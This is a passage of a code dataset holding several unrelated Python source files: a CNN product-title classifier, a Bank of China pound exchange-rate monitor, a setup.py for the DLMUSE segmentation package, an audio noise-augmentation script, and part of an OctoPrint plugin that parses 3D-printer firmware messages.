nn.Linear(np.sum(num_filters), int(np.sum(num_filters) / 2))\n        self.fc_2 = nn.Linear(int(np.sum(num_filters) / 2), num_classes)\n        self.dropout = nn.Dropout(p=dropout)\n\n        self.accuracy = torchmetrics.Accuracy()\n        self.recall = torchmetrics.Recall(num_classes=num_classes, average=\"macro\")\n\n        # load class weights\n        try:\n            with open(BASE_PATH + \"class_weights.pkl\", \"rb\") as fp:\n                self._weights = pickle.load(fp)\n                self._weights = self._weights.float().to(\"cuda:0\")\n        except Exception:\n            self._weights = None\n\n    @staticmethod\n    def add_model_specific_args(parent_parser):\n        parser = parent_parser.add_argument_group(\"CNNClassifier\")\n        parser.add_argument(\"--filter_sizes\", type=int, nargs=\"*\", default=[3, 4, 5])\n        parser.add_argument(\n            \"--num_filters\", type=int, nargs=\"+\", default=[100, 100, 100]\n        )\n        parser.add_argument(\"--dropout\", type=float, default=0.5)\n        parser.add_argument(\"--batch_size\", type=int, default=300)\n        parser.add_argument(\"--learning_rate\", type=float, default=0.0001)\n\n        return parent_parser\n\n    def forward(self, x):\n        # Code \"inspired\" from https://chriskhanhtran.github.io/posts/cnn-sentence-classification/\n\n        # Permute `x_embed` to match input shape requirement of `nn.Conv1d`.\n        # Output shape: (b, embed_dim, max_len)\n        x_reshaped = x.permute(0, 2, 1)\n\n        # Apply CNN and ReLU. Output shape: (b, num_filters[i], L_out)\n        x_conv_list = [F.relu(conv1d(x_reshaped)) for conv1d in self.conv1d_list]\n\n        # Max pooling. Output shape: (b, num_filters[i], 1)\n        x_pool_list = [\n            F.max_pool1d(x_conv, kernel_size=x_conv.shape[2]) for x_conv in x_conv_list\n        ]\n\n        # Concatenate x_pool_list to feed the fully connected layer.\n        # Output shape: (b, sum(num_filters))\n        x_fc_1 = torch.cat([x_pool.squeeze(dim=2) for x_pool in x_pool_list], dim=1)\n\n        # Compute logits. Output shape: (b, n_classes)\n        x_fc_2 = self.fc_1(self.dropout(x_fc_1))\n        logits = self.fc_2(self.dropout(x_fc_2))\n\n        return logits\n\n    def training_step(self, batch, batch_nb):\n        x, y = batch\n        preds = self(x)\n\n        loss = F.cross_entropy(self(x), y)\n\n        self.log(\"t n_loss\", loss, on_epoch=True)\n        self.log(\"step_accuracy\", self.accuracy(preds, y))\n        return loss\n\n    def test_val_step(self, batch, log_prefix):\n        x, y = batch\n        preds = self(x)\n        loss = F.cross_entropy(preds, y, weight=self._weights)\n        self.log(f\"{log_prefix}_loss\", loss)\n        self.log(f\"{log_prefix}_accuracy\", self.accuracy(preds, y))\n        self.log(f\"{log_prefix}_macro_recall\", self.recall(preds, y))\n        return loss\n\n    def validation_step(self, batch, batch_idx):\n        return self.test_val_step(batch, \"val\")\n\n    def test_step(self, batch, batch_idx):\n        return self.test_val_step(batch, \"test\")\n\n    def configure_optimizers(self):\n        return torch.optim.Adam(self.parameters(), lr=self.learning_rate)\n\n    def train_dataloader(self):\n        return DataLoader(\n            MeliDataset(\"reduced_train_df.pkl\"),\n            batch_size=self.batch_size,\n            shuffle=True,\n            num_workers=12,\n            pin_memory=True,\n        )\n\n    def val_dataloader(self):\n        return DataLoader(\n            MeliDataset(\"spanish.validation.pkl\"),\n            batch_size=self.batch_size,\n            shuffle=False,\n            num_workers=12,\n            pin_memory=True,\n        )\n\n    def test_dataloader(self):\n        return DataLoader(\n            MeliDataset(\"spanish.test.pkl\"),\n            batch_size=self.batch_size,\n            shuffle=False,\n            num_workers=12,\n        )\n\n\ndef train(args):\n    # torch.cuda.set_device(0)\n\n    dict_args = vars(args)\n    model = CNNClassifier(**dict_args)\n    early_stopping = EarlyStopping(\"t n_loss\")\n    trainer = pl.Trainer.from_argparse_args(\n        args,\n        progress_bar_refresh_rate=20,\n        gpus=1,\n        logger=mlf_logger,\n        callbacks=[early_stopping],\n        default_root_dir=BASE_PATH + \"mlp_flat/\",\n    )\n    trainer.fit(model)\n    trainer.test()\n    return model\n\n\nif __name__ == \"__main__\":\n    import argparse\n\n    parser = argparse.ArgumentParser(description=\"Train or eval model\")\n    parser.add_argument(\"--eval\", dest=\"eval\", type=bool, nargs=\"?\", default=False)\n    parser.add_argument(\"--epochs\", dest=\"max_epochs\", type=int, nargs=\"?\", default=4)\n\n    parser = pl.Trainer.add_argparse_args(parser)\n    parser = CNNClassifier.add_model_specific_args(parser)\n\n    args = parser.parse_args()\n\n    MODEL_PATH = BASE_PATH + \"cnn/cnn_model.torch\"\n\n    if not args.eval:\n        args = parser.parse_args()\n        model = train(args)\n        torch.save(model, MODEL_PATH)\n\n    else:\n        from utils.loader import token_title_to_tensor\n\n        print(\"Loading model for evaluation...\")\n        model = torch.load(MODEL_PATH)\n        model.eval()\n\n        print(\"Done loading! Exit with 'q'\")\n        with open(BASE_PATH + \"category_map.pkl\", \"rb\") as fp:\n            category_map = pickle.load(fp)\n        while True:\n            title = input(\"Title: \")\n            if title == \"q\":\n                break\n\n            tokens = title.split(\" \")\n\n            x_in = torch.unsqueeze(token_title_to_tensor(tokens), 0)\n            predicted_class = int(torch.argmax(model(x_in)))\n            print(f\"Class: {category_map[predicted_class]}\")\n","repo_name":"jualvarez/AprendizajeProfundoGrupo8","sub_path":"models/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":6976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17538265260","text":"from bs4 import BeautifulSoup\nfrom urllib import request\nfrom urllib import parse\nfrom Exchange_Rate_App import notice_mode\nimport subprocess\nimport os\nimport time\nimport win32api,win32con,ctypes\ndef clear():os.system('cls')\n\ndef cui():\n    # 数据初始化\n    class COORD(ctypes.Structure):\n        _fields_ = [(\"X\", ctypes.c_short), (\"Y\", ctypes.c_short)]\n    STD_OUTPUT_HANDLE= -11\n    price = ['0' for x in range(0,300)]\n    update_time = ['0' for x in range(0,300)]\n    serial_max = 300\n    lowest_price = 9999.9\n    highest_price = 0.0\n    std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)\n    dwCursorPosition = COORD()\n    dwCursorPosition.X = 0\n    dwCursorPosition.Y = 0\n    # 初始网络连接检查\n    url = \"http://srh.bankofchina.com/search/whpj/search.jsp\"\n    Form_Data = {}\n    Form_Data['erectDate'] = ''\n    Form_Data['nothing'] = ''\n    Form_Data['pjname'] = '1314'\n    data = parse.urlencode(Form_Data).encode('utf-8')\n    while(1):\n        try:\n            html = request.urlopen(url,data).read()\n            break\n        except:\n            user_choice = win32api.MessageBox(0, \"连接超时，请检查网络连接！\\n（选择“重试”将重新连接，选择“取消”将退出程序）\", \"汇率变动提示\", win32con.MB_RETRYCANCEL)\n            if(user_choice == 2):\n                os._exit(0)\n    # 初始数据显示\n    file = open(\"data.dat\", mode=\"r+\")\n    file.seek(0,0)\n    total_serial_val = int(file.readline())\n    file.seek(6,0)\n    for i in range(0,total_serial_val,1):\n        price[i] = file.read(6)\n        file.read(3)\n        update_time[i] = file.read(19)\n        file.read(1)\n    file.close()\n\n    file = open(\"data_analysis.dat\", mode=\"r+\")\n    file.seek(0,0)\n    lowest_price = float(file.read(6))\n    file.seek(11,0)\n    highest_price = float(file.read(6))\n    file.close()\n    print('\\t      最低价       最高价')\n    print(\"             \",\"%.2f\"%lowest_price,\"     \",\"%.2f\"%highest_price,\"\\n\")\n    print('  \\t现汇卖出价\\t       更新时间')\n    for i in range(0, total_serial_val, 1):\n        print('英镑    ', price[i],'\\t', update_time[i])\n    ctypes.windll.kernel32.SetConsoleCursorPosition(std_out_handle,dwCursorPosition)\n    # 循环读取\n    while(1):\n        # 数据获取\n        data = parse.urlencode(Form_Data).encode('utf-8')\n        while(1):\n            try:\n                html = request.urlopen(url,data,timeout = 5).read()\n                break\n            except:\n                user_choice = win32api.MessageBox(0, \"连接超时，请检查网络连接！\\n（选择“重试”将重新连接，选择“取消”将退出程序）\", \"汇率变动提示\", win32con.MB_RETRYCANCEL)\n                if(user_choice == 2):\n                    os._exit(0)\n        soup = BeautifulSoup(html,'html.parser')\n        # 解析数据\n        div = soup.find('div', attrs = {'class':'BOC_main publish'})\n        table = div.find('table')\n        tr = table.find_all('tr')\n        td = tr[1].find_all('td')\n        current_price = td[3].get_text()\n        current_time = td[6].get_text()\n        current_price = \"%.2f\"%float(current_price)\n        file = open(\"data.dat\", mode=\"r+\")\n        file.seek(0,0)\n        total_serial_val = int(file.readline())\n        file.seek(6,0)\n        for i in range(0,total_serial_val,1):\n            price[i] = file.read(6)\n            file.read(3)\n            update_time[i] = file.read(19)\n            file.read(1)\n        file.close()\n        if (current_price != price[0]) and (current_time != update_time[0]):\n            for i in range(serial_max - 1,0,-1):\n                price[i] = price[i - 1]\n                update_time[i] = update_time[i - 1]\n            price[0] = current_price\n            update_time[0] = current_time\n            file = open(\"data.dat\", mode=\"r+\")\n            file.seek(0,0)\n            current_line_data = file.readline()\n            total_serial_val = int(current_line_data)+1\n            if(total_serial_val > serial_max):\n                total_serial_val = serial_max\n            total_serial_str = '%d' %total_serial_val\n            file.seek(0,0)\n            file.write(total_serial_str)\n            file.close()\n            file = open(\"data.dat\", mode=\"r+\")\n            file.seek(6,0)\n            for i in range(0,total_serial_val,1):\n                file.writelines([price[i], \"   \", update_time[i], \"\\n\"])\n            file.close()\n            file = open(\"data_analysis.dat\", mode=\"r+\")\n            file.seek(0,0)\n            lowest_price = float(file.read(6))\n            file.read(5)\n            highest_price = float(file.read(6))\n            if(float(price[0]) < lowest_price):\n                lowest_price = float(price[0])\n            if(float(price[0]) > highest_price):\n                highest_price = float(price[0])\n            file.seek(0,0)\n            file.write('%.2f' %lowest_price)\n            file.seek(11,0)\n            file.write('%.2f' %highest_price)\n            file.close()\n            clear()\n            print('\\t      最低价       最高价')\n            print(\"             \",\"%.2f\"%lowest_price,\"     \",\"%.2f\"%highest_price,\"\\n\")\n            print('  \\t现汇卖出价\\t       更新时间')\n            for i in range(0, total_serial_val, 1):\n                print('英镑    ', price[i],'\\t', update_time[i])\n            ctypes.windll.kernel32.SetConsoleCursorPosition(std_out_handle,dwCursorPosition)\n            global notice_mode\n            if(notice_mode == 1):\n                if(price[0]>price[1]):\n                    win32api.MessageBox(0, \"汇率上升至%s，时间：%s\"%(price[0],update_time[0]), \"汇率变动提示\", win32con.MB_ICONASTERISK)\n                else:\n                    if(price[0]<=price[1]):\n                        win32api.MessageBox(0, \"汇率下降至%s，时间：%s\"%(price[0],update_time[0]), \"汇率变动提示\", win32con.MB_ICONASTERISK)\n            time.sleep(3)","repo_name":"ZiqiYang394/Pound-Exchange-Rate-Update","sub_path":"exchange_rate/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":5931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18916250043","text":"\"\"\"Setup tool for DLMUSE.\"\"\"\n\nimport io\nimport os\nfrom setuptools import find_packages, setup\n\n\ndef read(*paths, **kwargs):\n    \"\"\"Read the contents of a text file safely.\"\"\"\n\n    content = \"\"\n    with io.open(\n        os.path.join(os.path.dirname(__file__), *paths),\n        encoding=kwargs.get(\"encoding\", \"utf8\"),\n    ) as open_file:\n        content = open_file.read().strip()\n    return content\n\n\ndef read_requirements(path):\n    return [\n        line.strip()\n        for line in read(path).split(\"\\n\")\n        if not line.startswith(('\"', \"#\", \"-\", \"git+\"))\n    ]\n\n\nsetup(\n    name=\"DLMUSE\",\n    version=read(\"DLMUSE\", \"VERSION\"),\n    description=\"DLMUSE - Deep Learning MUlti-atlas region Segmentation utilizing Ensembles of registration algorithms and parameters\",\n    long_description=read(\"README.md\"),\n    long_description_content_type=\"text/markdown\",\n    author=\"Ashish Singh, Guray Erus, Vishnu Bashyam, George Aidinis\",\n    author_email=\"software@cbica.upenn.edu\",\n    maintainer=\"George Aidinis\",\n    maintainer_email=\"aidinisg@pennmedicine.upenn.edu\",\n    download_url=\"https://github.com/CBICA/DLMUSE/\",\n    url=\"https://github.com/CBICA/DLMUSE/\",\n    packages=find_packages(exclude=[\"tests\", \".github\"]),\n    install_requires=read_requirements(\"requirements.txt\"),\n    entry_points={\"console_scripts\": [\"DLMUSE = DLMUSE.__main__:main\"]},\n    extras_require={\"test\": read_requirements(\"requirements-test.txt\")},\n    classifiers=[\n                    \"Intended Audience :: Developers\",\n                    \"Intended Audience :: Science/Research\",\n                    \"Intended Audience :: Healthcare Industry\",\n                    \"Programming Language :: Python :: 3\",\n                    \"Topic :: Scientific/Engineering :: Artificial Intelligence\",\n                    \"Topic :: Scientific/Engineering :: Image Processing\",\n                    \"Topic :: Scientific/Engineering :: Medical Science Apps.\",\n                ],\n    license=\"By installing/using DeepMRSeg, the user agrees to the following license: See https://www.med.upenn.edu/cbica/software-agreement-non-commercial.html\",\n    keywords = [\n                    'deep learning',\n                    'image segmentation',\n                    'semantic segmentation',\n                    'medical image analysis',\n                    'medical image segmentation',\n                    'nnU-Net',\n                    'nnunet'\n                ], \n    package_data={\"DLMUSE\": [\"VERSION\",\"dicts/*\"]},\n)","repo_name":"CBICA/DLMUSE","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6940636351","text":"import os\nimport argparse\nimport numpy as np\nimport random as rand\n\nfrom AudioProcessing.AugTools import split_audio, add_samples\nfrom AudioProcessing.DataUtils import load_wav_files, write_audio_enhancement_record, generate_specgram\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(description='Script to augment audio samples with noise')\n\n    rgroup = parser.add_argument_group('Required Arguments')\n\n    rgroup.add_argument('--input_dir',\n                        help='Input directory of clean audio samples',\n                        required=True,\n                        type=str)\n\n    rgroup.add_argument('--noise_dir',\n                        help='Input directory of noisy audio samples to add to clean samples',\n                        required=True,\n                        type=str)\n\n    rgroup.add_argument('--output_dir',\n                        help='Directory to ouput augmented audio samples to',\n                        required=True,\n                        type=str)\n\n    ogroup = parser.add_argument_group('Optional Arguments')\n\n    ogroup.add_argument('--tf_record',\n                        help='FLAG: If specified program will write TensorFlow Record',\n                        required=False,\n                        action='store_true')\n\n    ogroup.add_argument('--spectrogram',\n                        help='FLAG: If specified program will write spectrograms of audio samples',\n                        required=False,\n                        action='store_true')\n\n    return parser.parse_args()\n\nif __name__ == '__main__':\n    args =  parse_args()\n\n    clean_dir = args.input_dir\n    noise_dir = args.noise_dir\n    output_dir = args.output_dir\n\n    clean_audio_file_names = os.listdir(clean_dir)\n    noise_audio_file_names = os.listdir(noise_dir)\n\n    clean_samples = load_wav_files(clean_dir)\n    noise_samples = load_wav_files(noise_dir)\n\n    print('-'*50)\n    print('Sucessfully Loaded in {} clean audio samples'.format(len(clean_samples)))\n    print('Sucessfully Loaded in {} noisy audio samples'.format(len(noise_samples)))\n    print('{}\\nBegining Augmentation'.format('-'*50))\n\n    base_target_length = 2\n    noise_target_length = 1\n    target_sample_rate = 16000\n\n    clean_split_samples = []\n    #   Splitting the audio returns a list of audio sample object so we append each\n    #   one to an array to keep track of them\n    for audio_sample in clean_samples:\n\n        for x in split_audio(audio_sample, base_target_length):\n            clean_split_samples.append(x)\n\n    print('Split Clean Audio Samples to produce: {} samples'.format(len(clean_split_samples)))\n\n    noise_split_samples = []\n    #   Same procedure as above with a different target length for the split audio clips\n    for audio_sample in noise_samples:\n        for x in split_audio(audio_sample, noise_target_length):\n            noise_split_samples.append(x)\n    print('Split Noise Audio Samples to produce: {} samples'.format(len(noise_split_samples)))\n\n    #   Most of the Augmentation is happening here\n    #   -The functions called on these audio sample objects modify them in place\n\n    # Padding the noise samples\n    noise_augmented_samples = []\n    for audio_sample in noise_split_samples:\n        audio_sample.pad_sample(base_target_length)\n        noise_augmented_samples.append(audio_sample)\n\n    # Resampling the noise data\n    for audio_sample in noise_augmented_samples:\n        audio_sample.resample(target_sample_rate)\n\n    # Resampling the clean data\n    clean_augmented_samples = []\n    for audio_sample in clean_split_samples:\n        audio_sample.resample(target_sample_rate)\n\n        clean_augmented_samples.append(audio_sample)\n\n    #   Combining Noise with the Clean data for use in ML models\n    #   -Before this is done the clean and noisy data must be the same length and the same sampling rate\n    augmented_composite_samples = []\n    labels = []\n    for i, audio_sample in enumerate(clean_augmented_samples):\n        noise_sample = rand.choice(noise_augmented_samples)\n        augmented_sample = add_samples(noise_sample=noise_sample,\n                                       audio_sample=audio_sample,\n                                       attn_level=0.25)\n        filename = 'out_{}.wav'.format(format(i))\n        labels.append(filename)\n        augmented_composite_samples.append(augmented_sample)\n        augmented_sample.write_wavfile(os.path.join(args.output_dir, 'audio', 'noise', filename))\n        audio_sample.write_wavfile(os.path.join(args.output_dir, 'audio', 'clean', filename))\n\n    print('{}\\n'\n          'Augmentation Complete:\\n'\n          'Wrote: {} augmented samples to {}{}\\n'\n          'Wrote: {} clean samples to {}{}'.format('-'*50,\n                                                   len(augmented_composite_samples),\n                                                   args.output_dir,\n                                                   'audio/noise',\n                                                   len(clean_augmented_samples),\n                                                   args.output_dir,\n                                                   'audio/clean'))\n\n\n    if args.spectrogram:\n        print('{}\\nGenerating spectrograms from generated data\\n'.format('-'*50))\n        i = 0\n        clean_specs = []\n        noise_specs = []\n        for noise_sample, clean_sample in zip(augmented_composite_samples, clean_augmented_samples):\n            clean_spec = np.transpose(generate_specgram(clean_sample, fft_size=512, step_size=(512/16)))\n            noise_spec = np.transpose(generate_specgram(noise_sample, fft_size=512, step_size=(512/16)))\n\n            filename = 'out_{}'.format(i)\n            clean_path = os.path.join(args.output_dir, 'spec', 'clean', filename)\n            noise_path = os.path.join(args.output_dir, 'spec', 'noise', filename)\n\n            clean_specs.append(clean_spec)\n            noise_specs.append(noise_spec)\n            i = i + 1\n        np.save(os.path.join(args.output_dir, 'spec', 'clean_specs'), np.asarray(clean_specs))\n        np.save(os.path.join(args.output_dir, 'spec', 'noise_specs'), np.asarray(noise_specs))\n\n    if args.tf_record:\n        print('{}\\nWriting TensorFlow Record File from generated data\\n'.format('-'*50))\n        write_audio_enhancement_record(output_path=os.path.join(args.output_dir, 'speech_denoise_data_set.record'),\n                                       input_samples=clean_split_samples,\n                                       target_samples=augmented_composite_samples,\n                                       labels=labels)\n\n\n\n\n\n","repo_name":"skylermaxwell42/DeepSpeechEnhancement","sub_path":"scripts/augment_samples.py","file_name":"augment_samples.py","file_ext":"py","file_size_in_byte":6566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"19823030289","text":"import octoprint.printer\nfrom .. import roboprinter\nimport re\nimport signal\nimport time\n\n\nclass PConsole(octoprint.printer.PrinterCallback):\n\n\n\n    position = []\n    position_ready = False\n    #dictionary for eeprom\n    eeprom_ready = False\n    steps_per_unit = {}\n    maximum_feed_rate = {}\n    maximum_acceleration = {}\n    accelerations = {}\n    advanced_variables = {}\n    home_offset = {}\n    PID = {}\n    BPID = {}\n    filament_settings = {}\n    zoffset = {}\n    eeprom = {}\n    counter = 0\n    t_counter = 2\n    sent_M114 = False\n    cur_time = 0\n    busy = False\n    temperature = {\n                    'tool1': 0,\n                    'tool1_desired': 0,\n                    'tool2': 0,\n                    'tool2_desired': 0,\n                    'bed': 0,\n                    'bed_desired': 0,\n                    }\n    temperature = {}\n\n    def on_printer_add_message(self, data):\n\n        ##roboprinter.printer_instance._logger.info(data)\n\n        if data.find(\"echo:busy: processing\") != -1:\n            self.busy = True\n        else:\n            self.busy = False\n        \n        find_data = ['M92', 'M203', 'M201', 'M204', 'M205', 'M206', 'M301', 'M304', 'M200', 'M851', 'Z Offset']\n\n        acceptable_finds = {\n                            'M92': self.find_M92,\n                            'M203': self.find_M203,\n                            'M201': self.find_M201,\n                            'M204': self.find_M204,\n                            'M205': self.find_M205,\n                            'M206': self.find_M206,\n                            'M301': self.find_M301,\n                            'M304': self.find_M304,\n                            'M200': self.find_M200,\n                            'M851': self.find_M851,\n                            'Z Offset': self.find_zoffset\n\n        }\n\n        for query in find_data:\n            found = data.find(query)\n\n            if found != -1:\n                #execute dictionary function\n                acceptable_finds[query](data)\n                break        \n\n        #Disconnect and reconnect if Marlin stops because of bed heater issues\n        printer_bed_error = 'Error:MINTEMP triggered, system stopped! Heater_ID: bed'\n        printer_bed_error2 = \"Error:Heating failed, system stopped! Heater_ID: bed\"\n        general_error = \"Error:Printer halted. kill() called!\"\n        connection_error = \"Error:No Line Number with checksum, Last Line: 0\"\n\n        if re.match(printer_bed_error, data) or re.match(printer_bed_error2,data) or re.match(general_error, data) or re.match(connection_error,data):\n            roboprinter.printer_instance._logger.info(\"Disconnecting\")\n            roboprinter.printer_instance._printer.disconnect()\n            time.sleep(2)\n            roboprinter.printer_instance._logger.info(\"Reconnecting\")\n            roboprinter.printer_instance._printer.connect()\n\n        #Find out if octoprint is not reporting a bed temp loss\n        model = roboprinter.printer_instance._settings.get(['Model'])\n        if model == \"Robo R2\":\n            \n            def find_temps():\n                ext1 = -1\n                ext1_dual = -1\n                ext2 = -1\n                bed = -1\n                if data.find('T:') != -1:\n                    ext1 = data.find('T:')\n                if data.find('T0:') != -1:\n                    ext_dual = data.find('T0:')\n                if data.find('T1:') != -1:\n                    ext2 = data.find('T1:')\n                if data.find('B:') != -1:\n                    bed = data.find('B:')\n\n                #Dual Extrusion R2\n                if ext1_dual != -1 and ext2 != -1 and bed != -1:\n                    bed_s = temp[bed:ext1_dual]\n                    bed = extract_data(bed_s)\n\n                    self.temperature['bed'] = bed['current']\n                    self.temperature['bed_desired'] = bed['desired']\n\n                    ext1_s = temp[ext1_dual+2:ext2]\n                    tool1 = extract_data(ext1_s)\n\n                    self.temperature['tool1'] = tool1['current']\n                    self.temperature['tool1_desired'] = tool1['desired']\n\n                    ext2_s = temp[ext2+2:temp.find('@')]\n                    tool2 = extract_data(ext2_s)\n\n                    self.temperature['tool2'] = tool2['current']\n                    self.temperature['tool2_desired'] = tool2['desired']\n\n\n                    \n\n                #Single Nozzle R2\n                elif ext1 != -1 and bed != -1:\n                    ext1_s = data[ext1:bed]\n                    tool1 = extract_data(ext1_s)\n\n                    self.temperature['tool1'] = tool1['current']\n                    self.temperature['tool1_desired'] = tool1['desired']\n\n                    bed_s = data[bed:data.find('@')]\n                    bed = extract_data(bed_s)\n\n                    self.temperature['bed'] = bed['current']\n                    self.temperature['bed_desired'] = bed['desired']\n\n                else:\n                    roboprinter.printer_instance._logger.info(\"Model is R2 and we cannot find bed and extruder!!!\")\n                    roboprinter.printer_instance._logger.info(data)\n\n            def extract_data(temp_string):\n                temperature =  \"[+-]?\\d+(?:\\.\\d+)?\"\n                current_temp = re.findall(temperature, temp_string)\n\n                temp = {\n                        'current':current_temp[0],\n                        'desired':current_temp[1]\n                       }\n                return temp\n\n            #disconnect if the bed reports a negative number two times in a row\n            if data.find('T:') != -1 and data.find('B:') != -1:\n                \n                find_temps()\n\n                if float(self.temperature['bed']) < 0:\n                    self.t_counter -= 1\n                    roboprinter.printer_instance._logger.info(str(self.t_counter))\n                    if self.t_counter == 0:\n                        roboprinter.printer_instance._logger.info(\"Shutting down\")\n                        roboprinter.printer_instance._printer.disconnect()\n                        self.t_counter = 2\n\n\n\n        #get the position\n        if self.sent_M114:\n            p = \"X:([-0-9.00]+)Y:([-0-9.00]+)Z:([-0-9.00]+)E:([-0-9.00]+)CountX:([-0-9]+)Y:([-0-9]+)Z:([-0-9]+)\"\n            temp_pos = re.findall(p, data.replace(\" \", \"\"))\n            if temp_pos != []:\n                self.position = temp_pos[0]\n                #roboprinter.printer_instance._logger.info('Position Update')\n                #roboprinter.printer_instance._logger.info(str(self.position))\n                self.position_ready = True\n            finished_time = (time.time() - self.cur_time) * 1000\n            roboprinter.printer_instance._logger.info(\"position getting it in \" + str(finished_time) + \" ms\")\n\n        \n\n    #Steps Per Unit\n    def find_M92(self, data):\n        #roboprinter.printer_instance._logger.info(\"M92 \"+ str(self.counter))\n        p = \"X([-0-9.00]+) Y([-0-9.00]+) Z([-0-9.00]+) E([-0-9.00]+)\"\n        spu = re.findall(p, data)\n        if spu != []:\n            self.steps_per_unit = {\n                'X' : float(spu[0][0]),\n                'Y' : float(spu[0][1]),\n                'Z' : float(spu[0][2]),\n                'E' : float(spu[0][3])\n            }\n            self.eeprom['steps per unit'] = self.steps_per_unit\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"M92 getting it in \" + str(finished_time) + \" ms\")\n\n    #Maximum Feed Rate\n    def find_M203(self, data):\n        #roboprinter.printer_instance._logger.info(\"M203 \"+ str(self.counter))\n        p = \"X([-0-9.00]+) Y([-0-9.00]+) Z([-0-9.00]+) E([-0-9.00]+)\"\n        mfr = re.findall(p, data)\n\n        if mfr != []:\n            self.maximum_feed_rate = {\n                'X' : float(mfr[0][0]),\n                'Y' : float(mfr[0][1]),\n                'Z' : float(mfr[0][2]),\n                'E' : float(mfr[0][3])\n            }\n            self.eeprom['max feed rate'] = self.maximum_feed_rate\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"M203 getting it in \" + str(finished_time) + \" ms\")\n\n    #Maximun Acceleration\n    def find_M201(self, data):\n\n        p = \"X([-0-9.00]+) Y([-0-9.00]+) Z([-0-9.00]+) E([-0-9.00]+)\"\n        ma = re.findall(p, data)\n        if ma != []:\n            #roboprinter.printer_instance._logger.info(\"M201 \"+ str(self.counter))\n            self.maximum_acceleration = {\n                'X' : float(ma[0][0]),\n                'Y' : float(ma[0][1]),\n                'Z' : float(ma[0][2]),\n                'E' : float(ma[0][3])\n            }\n            self.eeprom['max acceleration'] = self.maximum_acceleration\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"M201 getting it in \" + str(finished_time) + \" ms\")\n\n    #Accelerations\n    def find_M204(self, data):\n        #roboprinter.printer_instance._logger.info(\"M204 \"+ str(self.counter))\n        p = \"P([-0-9.00]+) R([-0-9.00]+) T([-0-9.00]+)\"\n        accel = re.findall(p, data)\n\n        if accel != []:\n            self.accelerations = {\n                'P' : float(accel[0][0]),\n                'R' : float(accel[0][1]),\n                'T' : float(accel[0][2])\n\n                }\n            self.eeprom['accelerations'] = self.accelerations\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"M204 getting it in \" + str(finished_time) + \" ms\")\n\n    #advanced variables\n    def find_M205(self, data):\n        #roboprinter.printer_instance._logger.info(\"M205 \"+ str(self.counter))\n        p = \"S([-0-9.00]+) T([-0-9.00]+) B([-0-9.00]+) X([-0-9.00]+) Z([-0-9.00]+) E([-0-9.00]+)\"\n        av = re.findall(p, data)\n        if av != []:\n            self.advanced_variables = {\n                'S' : float(av[0][0]),\n                'T' : float(av[0][1]),\n                'B' : float(av[0][2]),\n                'X' : float(av[0][3]),\n                'Z' : float(av[0][4]),\n                'E' : float(av[0][5])\n            }\n            self.eeprom['advanced variables'] = self.advanced_variables\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"M205 getting it in \" + str(finished_time) + \" ms\")\n\n    #home offset\n    def find_M206(self, data):\n        p = \"X([-0-9.00]+) Y([-0-9.00]+) Z([-0-9.00]+)\"\n        ho = re.findall(p, data)\n\n        if ho != []:\n            self.home_offset = {\n\n                'Z' : float(ho[0][2])\n            }\n            self.eeprom['home offset'] = self.home_offset\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"M206 getting it in \" + str(finished_time) + \" ms\")\n\n\n    #PID settings\n    def find_M301(self, data):\n        #roboprinter.printer_instance._logger.info(\"M301 \"+ str(self.counter))\n        p = \"P([-0-9.00]+) I([-0-9.00]+) D([-0-9.00]+)\"\n        pid = re.findall(p, data)\n\n        if pid != []:\n            self.PID = {\n                'P' : float(pid[0][0]),\n                'I' : float(pid[0][1]),\n                'D' : float(pid[0][2])\n            }\n            self.eeprom['PID']  = self.PID\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"M301 getting it in \" + str(finished_time) + \" ms\")\n\n    def find_M304(self, data):\n        #roboprinter.printer_instance._logger.info(\"M301 \"+ str(self.counter))\n        p = \"P([-0-9.00]+) I([-0-9.00]+) D([-0-9.00]+)\"\n        pid = re.findall(p, data)\n\n        if pid != []:\n            self.BPID = {\n                'P' : float(pid[0][0]),\n                'I' : float(pid[0][1]),\n                'D' : float(pid[0][2])\n            }\n            self.eeprom['BPID'] = self.BPID\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"M304 getting it in \" + str(finished_time) + \" ms\")\n\n\n    #filament settings\n\n    def find_M200(self, data):\n        #roboprinter.printer_instance._logger.info(\"M200 \"+ str(self.counter))\n        p = \"D([-0-9.00]+)\"\n        fs = re.findall(p, data)\n\n        if fs != []:\n            self.filament_settings = {\n                'D' : float(fs[0])\n            }\n            self.eeprom['filament settings'] = self.filament_settings\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"M200 getting it in \" + str(finished_time) + \" ms\")\n\n    #Zoffset\n    def find_M851(self, data):\n\n        p = \"Z([-0-9.00]+)\"\n        zo = re.findall(p, data)\n\n        if zo != []:\n            self.zoffset = {\n\n                'Z' : float(zo[0])\n\n            }\n            self.eeprom['z offset'] = self.zoffset\n        finished_time = (time.time() - self.cur_time) * 1000\n        roboprinter.printer_instance._logger.info(\"M851 getting it in \" + str(finished_time) + \" ms\")\n\n        roboprinter.printer_instance._logger.info(str(self.eeprom))\n\n            #roboprinter.printer_instance._logger.info(\"M851 \"+ str(self.counter))\n\n    #Zoffset update\n    def find_zoffset(self,data):\n        p = \"Z Offset ([-0-9.00]+)\"\n        zo = re.findall(p, data)\n\n  